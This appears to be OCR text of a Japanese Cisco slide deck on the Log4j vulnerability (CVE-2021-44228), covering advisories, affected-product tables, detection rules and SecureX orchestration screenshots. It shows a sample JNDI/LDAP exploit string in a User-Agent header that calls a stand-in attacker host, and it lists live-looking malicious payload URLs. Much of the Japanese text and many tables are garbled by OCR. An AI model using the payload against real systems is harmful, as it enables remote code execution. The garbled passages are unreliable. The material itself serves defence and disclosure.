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Apache Log4j Megs1% (2021/12/16 IR1T)

Log4j
. Apache Foundation OA—7>Y—-20%>493514731)

R IUTB LB TA— T RIEIRED) (CRT BIlc, SELERTS1-Y BV
I>5-F54 XH—E A, WebHA I, 7IUF 33>, BEUARL—SaF V74055
5 CIFRICAEREN TS

Logdj DAESSMH (CVE-2021-44228) @ e
2 15 OCJ:DH|J0)§-/\t0)LOg4J2}\_/aj(zg;g Version 1.14: Interim .

Workarounds: No workarounds available

. EARUE-NI—RFEAT (RCE) OIBIEME

- Apache Log4j2 JNDIHERE(E, IREE(CL O THITEHIENIZLDAPE LUZDABDINDIEEE
I RRA > MU TEREES R L

¢ FRRESNCORBWIE-MPI5—(3, COMEEMEZEBAL T, 2821152 AT Lz Hlid
SolREEN BB

AZAF71 RORBFUATANIERNSEIHALTVET

Cisco Security Advisories : A Vulnerability in Apache Log4j Library Affecting Cisco Products:
December 2021
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-

aRUuKNEbd
Cybersecurity & Infrastructure Security Agency : Apache Log4j Vulnerability Guidance

cisco E/W https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance



https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

Apache Log4j iess% (2021/12/16 H1T)
_ Example: Exploit Payload in User-Agent and LDAP circuit S

with
Log4) Vulnerability

(T— GET/
Host: exploitable.com

User-Agent: ${indi:ldap;//attacker.com:123/exploit}

HEAD / GET

What gets
logged is what
- matters —not
) LDAP Response e the protocol

used to deliver it

Idap://attacker.com LDAP Query e

tation

Possbllmes @
attacker.com javaClassName: myExploit T
avaCodBase: http://attacker.com INDI

dn:

objectClass: javaNamingReference g
javaFactory: Exploitable Circuits

Attacker
Code Server "
Download Java Exploit o

attacker.com Class

S {jndi:Idap:// attacker_controled_website / payload_to_be_executed} CVE-2021-44228

Java Naming and Directory Interface
(JNDI)

AAF1 ROABEUTARIBImRNMSEIALTVET
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
Why the Log4j Vulnerability is so Serious
Cisco E/W Author : Vinny Parla - Principal Architect / Manager - Office of the Security CTO at Cisco



https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

Apache Log4j iess|% (2021/12/16 H1T)

Log4j DMess T D*I5R

- BIFIRIER Apache Logd] )\—=322.16.0 ANEFR
. Apache Log4j /{\—>3>2.15.0 A CVE-2021-44228 DIEIENBIEE, ElEUARTE
- Apache Log4j /{\—=23>2.15.0 (BT CVE-2021-45046 DAESSHENHFIBAL TS
- YFTEDIERKICBVTINDIRZR /NS — > TARIER AT —A%Z/ERUDOSIREN B] IR D

. Apache Log4j /\—=>3>2.16.0 DEE S
- Default T JNDI JLyJ7vJ% Disable [CZE
« Xyt — w7y T DB R— NI BR

AATA RORBFUA T ARIBINS5IALTVET

Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

Cybersecurity & Infrastructure Security Agency : Apache Log4j Vulnerability Guidance
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

cisco E/W
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Cisco EmOXEiANT (2021/12/16 IRTE)

- A Vulnerability in Apache Log4j Library Affecting Cisco Products:
December 2021 (AAfE55" Iiiiﬁﬁd)ﬁ_ﬁﬁli)

« https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/ci

sco-sa-apache-log4j-gRuKNEbd

/Z]*“nu(i%ﬁﬁz%’:}zé,&pache Log4j51 TS )D/ESS M : 20218E12H
( ua|ﬁ$|§0)3|5/\_t52|§u§ ]]nR)

- https://www.cisco.com/c/ja_jp/support/docs/csa/2021/cisco-sa-
apache-1og4j-gRuKNEbd.html

- BARGE(CL DB FREBICLDRXDIFATVEEERTHD. REBRXEDEITH
BSOEIEN D RIGEI(C(E,. REBREXHMELLFET,
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https://www.cisco.com/c/ja_jp/support/docs/csa/2021/cisco-sa-apache-log4j-qRuKNEbd.html
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G Cisco Security Advisory

A Vulnerability in Apache Log4j Library Affecting Cisco Products: December

2021

Aduvisory ID: cisco-sa-apache-log4j-qRuKNEbd  CVE-2021-44228 + Download CVRF
First Published: 2021 December 10 18:45 GMT CWE-20 Email
Last Updated: 2021 December 14 23:57 GMT

Version 1.14: Interim
Workarounds: No workarounds available
CVSS Score: Base 10.0 @

Summary

On December 9, 2021, the following vulnerability in the Apache Log4j Java logging library
affecting all Log4j2 versions prior to 2.15.0 was disclosed:

CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker
controlled LDAP and other JNDI related endpoints

For a description of these vulnerabilities, see the Fixed in Log4j 2.15.0 section and the of the
Apache Log4j Security Vulnerabilities page.

To help detect exploitation of this vulnerability, Cisco has released Snort rules at the following
location: Talos Rules 2021-12-13

This advisory will be updated daily around the following times: 1500 UTC/10:00 AM ET, 1900
UTC/2:00 PM ET, 2300 UTC/6:00 PM ET.

This advisory is available at the following link:

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-

gRuKNEbd

Affected Products

Cisco is investigating its product line to determine which products may be affected by this

Cisco Security
Vulnerability Policy

To learn about Cisco security
vulnerability disclosure
policies and publications, see
the Security Vulnerability
Policy. This document also
contains instructions for
obtaining fixed software and
receiving security vulnerability
information from Cisco.

Subscribe to Cisco
Security Notifications

Action Links for This
Advisory

Snort Rule 58722
Snort Rule 58723
Snort Rule 58724
Snort Rule 58725
Snort Rule 58726
Snort Rule 58727
Snort Rule 58728
Snort Rule 58729
Snort Rule 58730

Products Confirmed Not Vulnerable

Cisco is investigating its product line to determine which products may be affected by this
vulnerability. This section will be updated as information becomes available.

Any product not listed in the Products Under Investigation or Vulnerable Products section of
this advisory is to be considered not vulnerable. Because this is an ongoing investigation, be
aware that products that are currently considered not vulnerable may subsequently be
considered vulnerable as additional information becomes available.

Cisco has confirmed that this vulnerability does not affect the following Cisco products:
Collaboration and Social Media

 Cisco SocialMiner
Endpoint Clients and Client Software

s Cisco AnyConnect Secure Mobility Client
e Cisco Jabber Guest
» Cisco Webex App

Meraki Products

e Cisco Meraki GO Series

o Cisco Meraki MR Series

» Cisco Meraki MS Series

» Cisco Meraki MT Series

e Cisco Meraki MV Series

« Cisco Meraki MX Series

» Cisco Meraki System Manager (SM)
e Cisco Meraki Z-Series

Network Application, Service, and Acceleration

e Cisco Cloud Services Platform 2100

e Cisco Cloud Services Platform 5000 Series
e Cisco Extensible Network Controller (XNC)
e Cisco Nexus Data Broker

« Cisco Tetration Analytics



Cisco @O IR (2021/12/16 IRTE)

- ST COMEIHTEDRIE RIS RIREMEDH D RmZITIE S Des(C. B RmAETZR
:%L/;L\i?o SABROEW(CIHU T, 2222 3R GMICE T BIEEHRZCOT7 RINAHFIICIEE

« [ Vulnerable Products 1®7232IC(3, #2&2RID22RMOI AT )\J ID hisEEn
TWEI, 2O/\J(L, Cisco Bug Search Tool 15772 ATE, [BhEtsR (FIFHPIEERNS
&) WEIESNZYINIIT W-RARE, T3y hIA—LBBDEINEHRIZENTOET

« ZO7R\ABUDIProducts Under Investigation I&f(dlVulnerable Products QT4
AV EHSN TORVRMm(E. MEIIENMEVEHRENE T COENS(IIRTEEITHOH
B CHas, BEMITIENBZVESZEN TR m T ENMBERMISNNIE. €Dk
eSS IEN'®HEZ SN BRI REIEN®HBEICTERLZEL

. % Advisory|B#r(E 1B ORICIEIEFHENTVEIDT., =FTIEHRITHERTEE)
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Cisco RO ITIAN (2021/12/16 IRTE
- [ Vulnerable Products | (R2&%72%13& M : 57 Efn
. [Products Under Investigation] GABHFRGE) : 25 R

- [Products Confirmed Not Vulnerable] (R22#80L) 121 &

Product Network Management and Provisioning. Product Vulnerabilty Disposition
Cisco GloudCentr Gost Optmizer CSCnadgo7s = e T—— Cisco megratea Management Controler (M) Supenisor (C5Cwat7307 2321 (22 Dec 2021)
Colisboration and Social Media Cisco ClosdGenter Sute Admin CSCat7380 Y —rs N — [ (CSCwet7288 [6.8.2.0 (22 Dec 2021)
|Cisco Webex Meetings Server Wad7283 CSCwad7350 f5co Cloud Emal Securly ot vinerable Voice and Unified Communications Devices
Cisco Common Services Platform Collector csCwad7271 Cisco Cloudlock Remediated CSCwa47315 [2021.11_1.162 (13 Dec
o GloudLock for Government Remediated 2021)
Gisco Grosswor Data Gatevay CSCwatras7 - e (15 bee 2021)
Endpoint Clients and Client Software Cisco Crosswork Platform Infrastructure CsCwa47367 | Cisco Cognitive Inteligence | Not vuinerable [CSCwa47273 |12.6(1): 23 Dec 2021
[Cisco CX Cloug Agent Sofware CSOwad7272 Gisoo Crosswork Zaro Toueh Provaning CSCwairasn Gisco CX Cloud Remediated o [ oo
Network Applcaton, Senc, and Acceleraion Gisco ONA Assrance CSCwmarazn Gisco Defense Orchestrator Not vulnerable 12.601) (16 Dec 2021)
[Cisco Nexws insighis ] Cisco Data Genter Netvark Manager (O0NM) CSCwat7201 [ 12:0(20) (23 Do 2021) ST —. p— [Gsco Gontact Genter Management Poral (GGWP) (CSGwa7383 | 125(1) (16 Dec 2021)
Network and Content Securty Devices 12.0(18) (23 Dec 2021) Cisco DNA Sp Affected 12.6(1) (16 Dec 2021)
n 11503 (23 Dec 2021) Gisco Industial Asset Vision Remedioted s
[Cisco Advanced Web Security Reporting Appication CSCwad72i 11:5(2) (23 Dec 2021) Cuety
|Cisco Firepower Threat Defense (FTD) managed by Firepower Device: CSCwad6963 11.5(1) (23 Dec 2021) Cisco Intersight |Under investigetion CSCwa47392 [12.0(1): 17 Dec 2021
[Manager (FOM) 11.401) (23 Dec 2021) Cisco loT Control Center [Remediated 125 {1117 Dec 2021
[Csco ety Servees Engns 156) [csowmariz | l riehoeet L
N ;; g; oee igg:} Cisco Kinetic for Cities Affected [Cisco Finesse CSCwat6459 | 12,5(1)ES08 (17 Dec 2021)
o isco Managed Services Accelerator fecte 12.6(1)E803 (17 Dec 2021,
11,000 (23 bes 2021) Cisco Managed S¢ Accelerator (MSX) Affected ¢ )
E—— oo Px Con Er—— [Gioco Peckagad ontact Center Ertarprse CSCwat7274 | 12501) (20 Dec 2021)
[Cisco SecureX Not vulnerable 12.001): 20 Dec 2021)
Cisco Inersght Vinual Applance CSCwa47304 [1:09-351 (20 Do 2027) Gisco SD-WAN Cloud Under investgation 11.62): (20 Dec 2021)
Cisco Securty Management Plaform wih Emat Secuty Under nvestigation - 12.601): (23 Dec 2021)
Giscolor CSOwat7685 Cisco SD-WAN vAnaytics Remediated
[Gisco Senveetiia Not vinerablo B TR Loy 7T CSCwa 7355 [14.4.1 (20 Jan 2022)
Givco Smart Net Tom o Cnder g e e Cisco Secure Applcation (integrated with AppDynamics) EEvTe
Gisco Umbrella NS p— o551 (17 0us 2021 Cisco Secure Cloud Analytics (formerly Cisco Stealthwatch Cloud) Not vuinerable Manager Session Management Ediion
| Cisco Umbrella SIG. Remediated r50°56:31 (17 Dec 2021) Cisco Secure Cloud Insights (integrated with AppDynamics) Under investigation L CSCwe47393
| Cisco Unified Communications Manager Cloud Commercial Under investigation CoCned7269 212 0 Jon 2022) Cisco Se Email Cloud M (f Cisco Cloud M Defe N s
= o ey isco Secure Email Cloud Mailoox (formerly Cisco Cloud Mailbox Defense) lot vunerable TP e— Soemteera 175072 B o 070
o e Cisco Secure Email Encryption Add-in Under investigation 120(1)ES1 (24 Dec 2021)
isco Webex Caling Remediate — 12.5(1)ES13 (24 Dec 2021)
(Cisco Webex Caling dated Cisco Secure Email Encryption Service (formerly Cisco Registered Envelope. Not vulnerable. 12.6(1)ES03 (17 Dee 2021)
Cisco Wiebex Glowd-Gomnecied UG Remedated service)
(Csouaaraz2 CSGwa 7275 | 12601): 23 bec 2021
[Gisco Webex Contact Genter Customer Joumey Platform Under investigation Ergre CSCwat 285 [P ETA 23 Dec 2021 B Scc)uve Endpoint (formerly Cisco Advanced Malware Protection for Not vuinerable [Giaco Unibed Cortact Canter Bxpress e
[isco Wiebex Experence Management Not vinerable e ndpoints)
e " Controller csCwads7ez ool | CSCwa46525 [12.6(1)ES03 (17 Dec 2021)
[Cisco Webex Meeungs Remediated CSCwed7745 |20.3.4.1 (18 Dac 2021) Cisco Secure Malware Analytics (formerly Gisco Threat Grid) Not vulnerable CSOwex7273 [12.81): 73 Deo 2621
[ Cisco Webex Messaging Remediated 20.6.2.1 (18 Dec 2021)
° e e [Csco Uninea 5P Proxy Sofware CSGwar7265 102,12 (13 Jan 2022)
[Duo Security Remediated 20.4.2.1 (18 Dec 2021) |Cisco Unity Connection csCwea7387
ovo Secuty or Government Remedotea
[Csco Vinuatzed Vace Browser CoCwad7397 | 12501 (23 Do 2021)
Jesiv Fex Remedatea 12,6(1) (23 Dec 2021)
[Mimoble - Wabex Garact Genter isgration Under rvestigation R e T ]
[Merski [Not vulnerable [Cisco Video Surveillance Operations Manager | CSCwa47360 |7.14.4 (16 Dec 2021)
[Trousmndtyes Remedaied

cisco E/W



Agenda

- Apache Log4j ifz5914%
- Apache Log4j Aessl4e(s
- Apache Log4j Cisco ZaD3T IR,
- Apache Log4j Cisco G TOREFIR

- SEBRL WS TFIVT(ARL—3> DR E

- Cisco SecureX &(&

- Cisco SecureX 1—AT—X : Log4j MesstExticd—-J0—
- F&& : SecureX DiME

cisco E/W



Cisco K TOREHMR (BRUIRFETOYY))

- Cisco Secure Endpoint (IH AMP for Endpoints) : EDR/EPP
- KFICETBVINIT T DEITZHESOICEIE
. 2FBFADClamAVI IR FvENR Java.Exploit.CVE_2021_44228-9914600-1 and
Java.Exploit. CVE_2021_44228-9914601-1.
. Cisco Secure Email (IH Cisco Email Security / ESA) : Email €¥a1UF«
- BRI DA-HoiX EENhess itz I 3ERD Email Fv>_—>h5BA1iE

. Cisco Secure Firewall / Secure IPS (Firepower) 50" Meraki MX : Firewall/IPS/UTM
.- Snort SIDZ/F : 58722-58744, 58751, 58784-58790, (Snort 3 Mi5E) 300055-300058
- 7NN RIS T 494

« Cisco Umbrella : SASE/SIG/SWG/DNS Security
- TEXYNT—IORINEREINT . BEDOHDINEBRAA> - IP-URLADIESZ T OvY

- Cisco AppDynamics Secure Application : Runtime Applications Self-Protection
- Java Application Runtime TOHESSHARKNERE55 4 F FEIF DI EE B i

A4 ROARBEFU T AREHRNSE5IALTVET
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-
vulnerability.html?m=1&fbclid=IwAR35bUYLgD5dfp 1iINOt2RMyC8-n5IBXNHbSmM8-

cisco E‘ 'gage fyPCxeLvrPegUHBUUOUe4



https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4

Cisco R TOEFIER 581L5R)

. Cisco Kenna Security : UAINR—-AHeg5 14 (RBVA)
- BCBITAMESTIEDIRIE. 4F(CHERRIRRCHIIIBEEE Z2HMFEZ (LSO THIBIL
AESS M L DA # 1R
. Cisco Secure Malware Analytics (IHThread Grid) : Sandbox
- BREOHD/\1FVZHFE IR BA1E
- IRTDCisco SecureH (IR EVLEEZBAIAHMRENBEZRIL
.- Radware 7579 FWAFY—EXZ : Web Application Firewall
- WAFICBIFREEFZR. TRIIVZHEDI757 RWAFY —E X% S A IHNOEM TEIOR L)

« Cisco SecureX : XDR
. SecureXICENEZIOCIBIRICBITZE LD R 2 TR ICIEHE

AR ROARFFATARBIRNSEIALTVET
Cisco Talos Blog : Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-

vulnerability.html?m=1&fbclid=IwAR35bUYLgD5dfp 1jNOt2RMyC8-n5IBXNHbSmM8-
CISCOE? 9 fvPCxelLvrPegUHBUuOUe4



https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4

Apache Log4j MEs5 1% - Ciscold¥k

Cisco Japan Blog - Talos Blog HARZEFIER
https://gblogs.cisco.com/jp/2021/12/apache-log4j-rce-vulnerabilit

Cisco Japan Blog - Firewall Threat Defense (FTD) T® CVE-2021-44228 (Log4j DiESETE) DIREN
https://gblogs.cisco.com/jp/2021/12/ftd-snort-log4j/

Cisco Japan Blog Cisco Secure Application 2 & % Log4SheII fE55 rid)*ﬁil]

Cisco Talos Blog : Vulnerability in Apache Log4j Library Affecting Cisco Products: December 2021
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

Cisco Security Alert
https://www.cisco.com/c/en/us/solutions/security/secure-alert.html

Kenna Security : Customer Advisory: Protecting Against Apache Log4j
https://www.kennasecurity.com/blog/customer-advistory-protecting-aganist-apache-log4j-vulnerability/

Cisco Blog - Protecting against Log4j with Secure Firewall & Secure IPS
https://blogs.cisco.com/security/protecting-against-log4j-with-secure-firewall-secure-ips?dtid=0soblg000513

Cisco Blog - App Dynamics : Log4j Developer Response
https://blogs.cisco.com/developer/log4jdevresponse0

cisco E/W


https://gblogs.cisco.com/jp/2021/12/apache-log4j-rce-vulnerability/
https://gblogs.cisco.com/jp/2021/12/ftd-snort-log4j/
https://gblogs.cisco.com/jp/2021/12/detect-log4shell-with-cisco-secure-application/
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html?m=1&fbclid=IwAR35bUYLqD5dfp1jNOt2RMyC8-n5lBXNHbSm8-fvPCxeLvrPegUHBUuOUe4
https://www.cisco.com/c/en/us/solutions/security/secure-alert.html
https://www.kennasecurity.com/blog/customer-advistory-protecting-aganist-apache-log4j-vulnerability/
https://blogs.cisco.com/security/protecting-against-log4j-with-secure-firewall-secure-ips?dtid=osoblg000513
https://blogs.cisco.com/developer/log4jdevresponse01
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SecureX Customer Data
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Threat Analysis APIs for Threat Detection &
Prevention

Leam are

CyberCrime Tracker

Featuring FIFTY message echos covering ALL
computer scenes: Art, Warez, Hacking,
Phreaking, Technology, BBS Support, Demos,
Cading, Sound, Gaming, as well as the.

Have | Been Pwned

Have | Been Pwned allows you to search
across multiple data breaches to see If your
email address has been compromised.

+ New Module  [EEIIRRUINSS

s Radware Cloud DDoS Protec...

Radware's Cloud DDoS Protection Services
dellver the most accurate and rapid
protection from today's constantly evolving
DDoS threats.

Leam are

sixciL  Sixgill Darkfeed

Sixgill's premium underground Intelligence
collection capabilites, real-time collection
and advanced warning about 10Cs to help
you keep your edge against unknown threats

Check IP addresses against AbuselPDB's
abusive IP database

+ New Module  [EETRURVINSS

Devo is cloud-native logging and security
analytics.

+ New Module  [EISRRVINSS

. IBM X-Force Exchange

1BM X-Force Exchange is a threat intelligence
sharing piatform enabiing research on
security threats, aggregation of intelligence,
and collaboration with peers.

+ New Module  JEIELRVIIES
s Radware Cloud WAF Service

Radware's Cloud WAF Service provides
adaptive web security protection in an easy
to use, hassle free service.

+ New Module  [EETRURVINSS

Pk o olunk Relay module

This Relay module is a Splunk Technical Add-
on which queries Datasources logs within
Splunk.

+ New Module  [EISRRVINSS

Security Center provides answers to essential
questions in the most intutive and simple
way

+ New Module  [EETSSRRVINOS

4 Farsight Security DNSDB®

A

Farsight Security DNSDB® is the world's
largest DNS Intelligence database that
provides a unique, fact-based, multifaceted
view of the configuration of the global

+ New Module  [EETSRRVINSS

| 9 IsltPhishing

The IsitPhishing Threat Detection Rest API
allows to check In real time and in a fully
automated process whether an URL is a
phishing or a spam website.

+ New Module  JEISTLRVITES

.|:|- Recorded Future

Recorded Future is a leading threat
intelligence company committed to delivering
real-time insights into emerging cyber
threats.

+ New Module  [EETSSRRVINOS

S
ET?; SpyCloud Account Takeover .

SpyCloud helps enterprises prevent
corporate account takeover by detecting
stolen passwords early, before criminals have
a chance to use them

+ New Module  [EETSRRVINSS

AN

The AlienVault Open Threat Exchange (OTX)
is the world's most authoritative open threat
information sharing and analysis network.

+ New Module  [EETSERVINSS

Generic Serverless Relay

&

Generic Serverless Relay module that can be
used when developing new integrations

+ New Module  [EETSRRVIS

MISP - Open Source Threat Intelligence
Platform & Open Standards For Threat
Information Sharing.

RCULLCICE  Learn More

SecureX CESA Relay

SecureX CESA Relay is a Splunk Technical
Add-on which queries CESA/NVM
Datasources logs within Splunk.

+ New Module  [EETSERVINSS

Sumo Logic Log Managem...

Sumo Logic is a cloud-based machine data
analytics company focusing en security,
operations and Bl use cases

+ New Module  [EETSRRVIS

AlienVault Open Threat Exch...

o

Amazon GuardDuty

Amazon GuardDuty - intelligent threat
protection for accounts and workloads.

+ New Module  [EETSSURVEDS

M Gigamon ThreatINSIGHT

Accelerate network detection and response
‘with Gigamen ThreatINSIGHT - a cloud-
native, high-velocity NDR solution.

+ New Module  [EETSRRVIDS

Microsoft Graph Security API

The Microsoft Graph Security APl is an
intermediary service that provides a single

programmatic nterface to connect multiple
Microsoft Graph Security providers. Reques.

RLCULLGLICR  Learn More

@ SecurityTrails

SecurityTrails can enrich your data with
passive and historical data

+ New Module  [EETSSURVEDS

'O
Threatscore | Cyberprotect
\.J | Cyberp

Threatscore gives a computed score about a
level of threat for any (known) cbservables.

+ New Module  [EETSRRVIDS

Bastile Bastille Networks

RF monitoring for wireless intrusion detection
and policy enforcement

+ New Module  [EETSSRRVEDS

I Google Chronicle

Chronicle is a cloud service, built s a
specialized layer on top of core Google
infrastructure, designed so that enterprises
can privately retain, analyze and search the...

+ New Module  [ENTSSRRVIDS

O.| Palo Alto Networks AutoFoc...

AutoFocus s a cloud-based threat
intelligence service that enables you 10 easily
identify critical attacks, based on intelligence
from Unit 42, the Palo Alto Networks threat..

+ New Module  JENIECHVIRS

ServiceNow Security Incident ...

ServiceNow® SecOps (Security Operations)
connects your existing security tools to
prioritize and respond to vuinerabilities and
securlty incidents faster.

+ New Module  [EETSSRRVEDS

VirusTotal

M

VirusTotal Is a free senvice that analyzes
suspicious files and URLs and facilitates the
quick detection of viruses, worms, trojans,
and all kinds of malware

+ New Module  [ENTSSRRVIDS
© Free Trial

Q Cisco Secure Access by Duo

Check IP addresses and User against Cisco
Secure Access by Duo Deried and Fraud
events

+ New Module Learn More

¥ Google safe Browsing

Safe Browsing s a Google service that lets
client applications check URLS against
Google’s constantly updated lists of unsafe
web resources. Examples of unsafe web.

+ New Module  [EETSSRNVIDS

@ Pusedive

Pulsedive threat intelligence enriches any
domain, URL, or IP: Scan new indicators,
pivot to search on any data point, and
investigate threats.

+ New Module  JENECEYVIS

% Shodan

Shodan is the world's first search engine for
Internet-connected devices

+ New Module  [RETSSRRVEDS

w alphaMountai

An Integration for fetching and displaying
threat intelligence from alphahlountain al,

.ai Threat Inte..

+ New Module  [EETSSRNVIDS

Q Cisco Secure Access by Duo

Check IP addresses and users against Cisco
Secure Access by Duo Deried and Fraud
events,

+ New Module Learn More

@ Graylog

Graylog is a leading centralized log
management solution bullt to open standards
for capturing, storing, and enabling real-time
analysis of terabytes of machine data.

+ New Module  [EETSSNVIS

Qualys 10C

Qualys 10C enables threat hunting, detection
of suspicious activity, and detection of
malware for devices both on / off the
network.

+ New Module  JENECEYVIS

@ Signal Sciences Next-Gen ...

Protect apps running on your network from
OWASP attacks with no tuning. Signal
Sciences next-gen WAF deploys anywhere in
your technology stack

+ New Module  [ETSSRRVEDS

urlscanis a sandbox for websites which
allows you to Inspect suspicious and
malicious websites




AL oIV TIREZ MR BRWDIFIEZ3E1T
SecureX threat response #HIFBEUER#O SecOps F—LEFR

FRfEIRIR

wmaEIne
TOBROEE / Email TFIVT RS
7 S5
ﬁ*ﬁaﬁ'ﬂj?é = URL NN PAN 'f/_TJ/I/Zt |
/ ¢ 7 aww

Ayt— =i
Q 57k \ f 7 (S
EE' o T
1P

Extract
observables from
browser content

85% reduction
in time to respond

G
SHA 256 Ayt—=
l and remediate to
with 1 click an attack
Target
EEDLL URL 2 N
tF1UFI0vy Frdpont {%} = @ R NDIEHE
: N iy _ H—4yh :
Cisco 1>49—=J1—X I'jl\%jil\ ST@;E’G Email IrAJ0vY
3rd-party
1289-J1—X

5E5%EJ0v7
Feld. 2OI-7J0-28MEIBIET. VIvIDFEeAEbEeIEE

cisco E/W



SecureX Orchestration 1=

no/low-code, drag-
drop A>2A—=J1—AIC

hiEiZR{bEnrJor
XEEM b

cisco E/W

— &%

Y AE-RTHITIS
D—920-ETLA Ty TH

J

o
o
B&nt

SABBIIRT R )7 HEBRL
MTTRZHIIRU CEE 4%

mwuLeE
D> 2T LAPV1-33>
ERUR(ISHEELY Iy
A=EALER I 2B DT —>

F-7J0-F

BLIOER 7 5SE [ &, w23 oU54h
IR\ WRIOSTIMIERETES )
@
e il —
 SEEE—— N\ e
ll
75 AN

AT=)b

HIPRDEEOMLIR, ADE
MEWIR), FIUSLAZLR
HTEDA-—bIA=23>




Endpoint

* Host isolation with approval

* Move computer to triage group

* Submit URL to sandbox

» Take forensic snapshot and isolate
* CVE hunt to ServiceNow incident

» Threat detected events to incidents
* Threat hunting events to incidents

* Vulnerabilities to SecureX incidents

e Vulnerabilities to ServiceNow
incidents

Email
* Investigate retrospective alerts
* Phishing investigation

ISE

* Add endpoint to identity group

* Remove endpoint from identity group
* Quarantine endpoint

* Un-quarantine endpoint

6 SecureX | 9—=97J0—

Umbrella

* Add domain to destination list

* Excessive requests to incidents

» Search DNS activity by category

* Top 10 blocked identities to ServiceNow

Firewall

» Block observables

* Impact red intrusion remediation

* Incident endpoint enrichment

* AWS VPN capacity expansion

* Microsoft Online split tunnel configuration
» Microsoft Online object group update

* Microsoft Online dynamic object update
* Request Firewall NullRoute

» Tufin: intrusion alert enrichment

» Tufin: Request server decommission

» Tufin: request threat containment

Meraki
 MX L3 outbound firewall block

58 J—47J0— & 124 Atomi

Talos Intelligence
* Get new blog post to SecureX
+ SolarWinds investigation

Cloud Analytics

* Block IPs and domains in Umbrella

» Generate casebook with flow links

+ Handle AWS ssh quarantine
approvals

* |solate endpoints from alerts

¢ Quarantine AWS instances from
alerts

Network Analytics

* Block external threats with Umbrella
» Casebook with top hosts and peers
* Isolate endpoints and block hashes

3rd Party Atomics

e ServiceNow, Jira, Zen Desk

* Manage Engine, BMC Remedy
* Farsight DNS, Shodan, Tufin
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0@
& * Security Operations Center @'

Schedule

Threat Advisory: Critical Apache Log4j vulnerability

Content Add +

People (5)

Messages

@ Hrtz 2021/11/07, 18:46

A Threat Response incident has been created for the blog post Threat Advisory: Critical Apache Log4j vulnerability Talos. Click here to view

the incident or click here to investigate.

Sightings associated with indicators of comromize were seen in your environment.
ServiceNow incident has been created.

« Clieck here to view the indicident or click here to investigate in threat response
« Clieck here to approve automated remediation

B

Sighting Summary:
«  Module Pulsedive returned 123 sightings with a total of O targets
«  Module SecurityTrails returned 9 sightings with a total of 0 targets
« Module VirusTotal returned 82 sightings with a total of O targets
« Module (Cisco Hosted) APIVoid returned 54 sightings with a total of 0 targets
«  Module urlscan URL and website sandbox returned 1231 sightings with a total of 0 targets
«  Module AlienVault Open Threat Exchange returned 1184 sightings with a total of O targets
Module AMP Global Intelligence returned 35 sightings with a total of O targets




SecureX

Dashboard
Cisco
N
Annlicatinne & Intearatinna I~

uuh SECURE > B} Casebook

Q Search...

v Owned By Me (30

460 Observables

Talos: Neurevt trojan takes aim at Mexican ...

24 Observables

Casebook for Secure Cloud Analytics Fore...

1 Observable

Talos: Neurevt trojan takes aim at Mexican ...

24 Observables

Talos: Vice Society leverages PrintNightmar...

4 Observables

Talos: Neurevt trojan takes aim at Mexican ...

24 Observables

19 Observables

Casebook for Secure Cloud Analytics Fore...

1 Observable

19 Observables

Casebook for Secure Cloud Analytics Fore...

1 Observable

\_Musimad Di Nibhove

<D

Talos: Threat Advisory: Critical Apache Log...

Enter logs, IPs, domains, etc.

> @ 42 Domains

> == 179 IP Addresses

0+ 138 410 00

> =2 1IPv6
0+ 0@ 1 00

> B 50 SHA-256

0+ 50 0o 00

v [0 188 URLs
0+ 150

0o 380
http://130.211.127.186/x/tty5 [v

http://46.218.149.85/x/vyattad | v

http://68.183.165.105/.1/pty5 | v

http://62.210.130.250/web/admin/x86_64 | -

http://142.93.33.168/.y/pty9 |

http://92.242.40.225/libsystem.so |

http://169.62.195.235/wp-content/themes/.w/wx | v

0+ 250 2o 15@'

Integration Modules Orchestration Administration Threat Advlsory: Crltlcal Apache Log 4] \rulnerablllty belng
exploited in the wild
NDR-Cloud SB-Team IT-PC {li Customize Maximum Available Interval v I ) e N
A HERC . @O —
1l v + |& @ Talos: Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild Investigate in Threat Response Linkto Incident v ¥ g
v Observables (460) 0+ 363 44© 53@ |¢ Notes / &«

SecureX generated this casebook from an RSS feed

Post Threat Advisory: Critical Apache Log4j vulnerability being
Title exploited in the wild
Post https://blog.talosintelligence.com/2021/12/apache-log4j-rc
URL e-vulnerability.html
Time 2021-12-15T23:00:01.736433914Z

Sighting Summary:

Module IBM X-Force Exchange returned 426 sightings with a total of 0
targets

Module SecureX Global Threat Intelligence returned 1918 sightings
with a total of 0 targets

Module Pulsedive returned 641 sightings with a total of 0 targets
Module urlscan URL and website sandbox returned 1164 sightings with
a total of 0 targets

Module APIVoid returned 1321 sightings with a total of 0 targets
Module AlienVault Open Threat Exchange returned 3944 sightings with
a total of 0 targets

Module Secure Network Analytics returned 10 sightings with a total of
0 targets

|



tisco SecureX

Threat Response

Add to Investigation ... ] New Investigation -+ 52 of 460 enrichments complete

Investigate

Snapshots  Incidents

Intelligence

e

